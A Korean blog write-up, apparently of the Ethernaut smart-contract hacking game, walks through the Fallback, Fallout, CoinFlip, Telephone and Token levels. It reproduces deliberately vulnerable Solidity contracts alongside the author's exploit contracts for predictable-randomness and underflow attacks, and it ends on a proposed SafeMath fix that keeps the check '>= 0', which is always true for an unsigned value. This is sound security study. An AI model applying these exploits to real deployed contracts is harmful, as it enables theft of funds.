오픈재플린에서 제공하는 스마트컨트랙트 취약점 해킹 게임
주어진 컨트랙트의 취약점을 파악하고 해킹하는게 목적
회사 분이 이 게임에 대해서 한 번 언급하신적이 있었고 저번달 코드게이트 갔을 때도 스마트컨트랙트 취약점 게임으로 Ethernaut을 사용하는 것을 보고 취약점 공부도 할 겸 시작하게 되었다.
https://ethernaut.openzeppelin.com/
메타마스크
Level0은 나와있는 설명대로 콘솔을 잘 사용한다면 쉽게 해결할 수 있다... 사실 게임을 시작하기 위한 튜토리얼 같은 느낌이다. 난이도를 1로 설정한 이유는 그래도 콘솔을 통한 게임은 처임이였기에 난이도는 1로 했다.
fallback은 스마트컨트랙트로 돈을 보낼 시에 불려진 함수가 없을 때 스마트컨트랙트에서 fallback함수를 실행하게 되는 것을 의미하고 아래와 같은 로직으로 구성되어 있다.
receive() external payable {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Fallback {
mapping(address => uint) public contributions;
address public owner;
constructor() {
owner = msg.sender;
contributions[msg.sender] = 1000 * (1 ether);
}
modifier onlyOwner {
require(
msg.sender == owner,
"caller is not the owner"
);
_;
}
function contribute() public payable {
require(msg.value < 0.001 ether);
contributions[msg.sender] += msg.value;
if(contributions[msg.sender] > contributions[owner]) {
owner = msg.sender;
}
}
function getContribution() public view returns (uint) {
return contributions[msg.sender];
}
function withdraw() public onlyOwner {
payable(owner).transfer(address(this).balance);
}
receive() external payable {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}
}
onlyOwner 모디파이어
- 모디파이어를 선언 함으로써 msg.sender가 오너가 아니라면 "caller is not the owner”라는 문구가 나오면서 해당 함수는 진행되지 않는다.
contribute()
- msg.value(컨트랙트에 들어오는 이더)가 0.001이더보다 작으면 해당 함수가 실행된다.
- msg.sender의 이더벨류가 owner의 이더밸류보다 높다면 오너는 메시지센더이다
getContribution()
- contributions 조회
withdraw()
- owner에게 ca.balance를 모두 전송
receive()
- ca.balance가 0보다 크거나 msg.sender의 contributions이 0보다 크면 해당 함수가 실행된 다.
- owner는 msg.sender이다
- 스마트컨트랙트가 이더를 받게 된다면 실행되는 함수
컨트랙트의 소유권 주장 및 CA balance값 0으로 만들기
receive함수는 컨트랙트가 이더를 받을 때 작동함.
contribute 함수를 통해서도 owner가 될 수 있는데 해당 함수는 기존 오너의 contribution보다 나의 contribution가 더 커야 하는데 기존 오너의 contribution가 1000이더임으로 불가능하다.
그렇다면 receive함수를 통해 owner가 될 수 있었고 contract.send(잔액)을 통해 컨트랙트에 이더를 입금하였다.(잔액 단위는 toWei(이더)를 사용하면 알 수 있음) owner가 내 계정으로 변경된게 확인 된 후 withdraw 함수를 통해 CA 밸런스값을 0으로 만들었다.
어떤 취약점이 있는지는 잘 모르겠는 컨트랙트였고 receive나 fallback함수가 무엇인지 알아가라는 의미의 문제였던거 같다.
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import 'openzeppelin-contracts-06/math/SafeMath.sol';
contract Fallout {
using SafeMath for uint256;
mapping (address => uint) allocations;
address payable public owner;
/* constructor */
function Fal1out() public payable {
owner = msg.sender;
allocations[owner] = msg.value;
}
modifier onlyOwner {
require(
msg.sender == owner,
"caller is not the owner"
);
_;
}
function allocate() public payable {
allocations[msg.sender] = allocations[msg.sender].add(msg.value);
}
function sendAllocation(address payable allocator) public {
require(allocations[allocator] > 0);
allocator.transfer(allocations[allocator]);
}
function collectAllocations() public onlyOwner {
msg.sender.transfer(address(this).balance);
}
function allocatorBalance(address allocator) public view returns (uint) {
return allocations[allocator];
}
}
safeMath
- uint256 자료형은 0부터 2^256-1 만큼의 값을 제공
- 범위 이하의 값을 할당하거나, 범위 이상의 값을 할당하는 경우 언더플로, 오버플로 문제가 발생
- 위의 문제를 방지하여 주는 라이브러리
allocate()
- allocations에 msg.value를 더함
sendAllocation(address)
- allocations[allocator] > 0 일 때 함수 실행
- address에게 alloactions에 저장된 address의 balance값을 전송
collectAllocations()
- msg.sender에게 ca.balance값을 전송
allocatorBalance(address)
- address의 allocations 값 조회
컨트랙트의 소유권 주장
생성자
소유권을 나에게 넘기는 함수인 fallout 함수를 실행하여 해결함.
너무 간단한게 해결 되어서 당황함...
어이가 없어서 다른 블로그를 찾아봤는데 생성자 함수가 fallout로 선언된 게 아닌 fal1out으로 l을 1로 장난질을 했다. 이유는 아마 생성자를 선언할 때는 constructor()로 선언을 하라고 그러는 거 같다.
생각을 해보니 fallout함수는 생성자로 선언되어 있는건데 나는 평소 생성자는 constructor로 선언을 하였기에 아무 의심없이 그냥 fallout함수를 사용을 했다...
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract CoinFlip {
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
constructor() {
consecutiveWins = 0;
}
function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number - 1));
if (lastHash == blockValue) {
revert();
}
lastHash = blockValue;
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;
if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}
flip(bool)
- blockValue는 전 블록 해쉬 넘버
- 만약 lastHash == blockValue이면 예외 발생
- lastHash는 blockValue
- coinFlip는 blockValue/Factor
- side는 coinFlip == 1이면 true, 아니면 false
- side와 사용자가 입력한 bool값이 같으면 consecutiveWins는 1증가하고 true를 반환한다.
- side와 사용자가 입력한 bool값이 다르면 consecutiveWins는 0이고 false를 반환한다.
10연승을 달성하여라
선언되어 있는 contract를 불러와 외부에서 실행
이길 수 있는 알고리즘 내용이 함수에 있기에 쉽게 true가 나올 수 있는 값 추출 가능할 것이라 생각
처음 어택 코드를 단순히 내가 입력한 값이 true가 만는지를 체크하는 로직으로 구성했는데 이렇게 하면 매블록이 생성되기 전 블록의 해쉬를 알아서 체크를 해서 내가 직접 bool값을 입력했는데 불규칙한 트랜잭션 생성 속에서 그렇게 하기엔 쉽지가 않았고 테스트넷에 배포된 위의 컨트랙트에 내가 만든 컨트랙트로 접근하여 문제를 해결 할 수 있겠다 생각하여 아래와 같은 테스트 코드를 만들어 게임을 진행하였다.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./CoinFlip.sol";
contract MycoinFlip {
CoinFlip public mycoinFlip;
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
constructor(address _attack) {
mycoinFlip = CoinFlip(_attack);
}
function testflip() public {
uint256 blockValue = uint256(blockhash(block.number - 1));
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;
if (lastHash == blockValue) {
revert();
}
lastHash = blockValue;
mycoinFlip.flip(side);
}
}
testflip()
- coinflip의 인스턴스를 만들어 컨트랙트 인스턴스에 계산된 bool언 값을 전송
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Telephone {
address public owner;
constructor() {
owner = msg.sender;
}
function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}
changeOwner(address)
- tx.origin ⇒ 트랜잭션을 최초로 보낸 EOA
- msg.sender ⇒ 트랜잭션을 마지막으로 보낸 EOA 또는 CA
- 이 값은 컨트랙트의 인증작업이 적합하지 않음
- 컨트랙트 call address와 컨트랙트 owner가 같지않으면 owner는 입력된 address이다.
계약의 소유권을 주장
tx.origin과 msg.sender의 차이
현재 msg.sender ⇒ 0x1ca9f1c518ec5681C2B7F97c7385C0164c3A22Fe
tx.origin ⇒ 0x1ca9f1c518ec5681C2B7F97c7385C0164c3A22Fe
컨트랙트를 실행하는 자도 내 지갑이 아닌 0x1ca9f1c518ec5681C2B7F97c7385C0164c3A22Fe 이기에 컨트랙트를 만들어 직접 위의 스마트컨트랙트에 내가 만든 CA로 접근하여 if 조건을 충족하여 해결 하였다.
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Token {
mapping(address => uint) balances;
uint public totalSupply;
constructor(uint _initialSupply) public {
balances[msg.sender] = totalSupply = _initialSupply;
}
function transfer(address _to, uint _value) public returns (bool) {
require(balances[msg.sender] - _value >= 0);
balances[msg.sender] -= _value;
balances[_to] += _value;
return true;
}
function balanceOf(address _owner) public view returns (uint balance) {
return balances[_owner];
}
}
constructor(uint)
- 토큰의 발행량(uint)만큼 밸런스 값 저장
transfer(address, uint)
- msg.sender의 밸런스 값에 입력값을 마이너스 하였을 때 0이랑 같거나 크다면 코드 진행
- msg.sender의 밸런스는 감소, 전송받는 address의 밸런스는 증가
balanceOf(address _owner)
- _owner의 밸런스값 조회
위의 컨트랙트를 해킹
처음에는 20개의 토큰이 주어지며 추가 토큰을 획득한다면 이기는 것
언더플로우, 오버플로우
이 코드의 문제는 언더플로,오버플로의 문제였으며 솔리디티를 작성하면서 연산에 관한 로직이 있다면 무조건 신경써야 할 문제임
해당 문제는 마스터링 이더리움에서 본 적이 있음
이번 문제는 해결 코드도 간단하게 작성을 해 봄
[오버플로우, 언더플로우]
require(balances[msg.sender] - _value >= 0)
;)는 _value값으로 10000000을 전달함으로써 부호가 없는 숫자 0(msg.sender의 balance)에서 언더플로우가 발생해서 msg.sender(attack CA)의 밸런스 값이 최댓값을 가지게 됨(1만 전달을 해도 됨)// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "./Token.sol";
contract Attack {
Token public myToken;
constructor(address _attack) public {
myToken = Token(_attack);
}
function attack(address _to, uint _value) public {
myToken.transfer(_to,_value);
}
}
openzeppelin에서 제공한 SafeMath 라이브러리 사용
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
//import 'openzeppelin-contracts-06/math/SafeMath.sol';
import "./SafeMath.sol";
contract Token {
mapping(address => uint) balances;
uint public totalSupply;
constructor(uint _initialSupply) public {
balances[msg.sender] = totalSupply = _initialSupply;
}
function transfer(address _to, uint _value) public returns (bool) {
//require(balances[msg.sender] - _value >= 0);
require(SafeMath.sub(balances[msg.sender],_value) >=0);
balances[msg.sender] -= _value;
balances[_to] += _value;
return true;
}
function balanceOf(address _owner) public view returns (uint balance) {
return balances[_owner];
}
}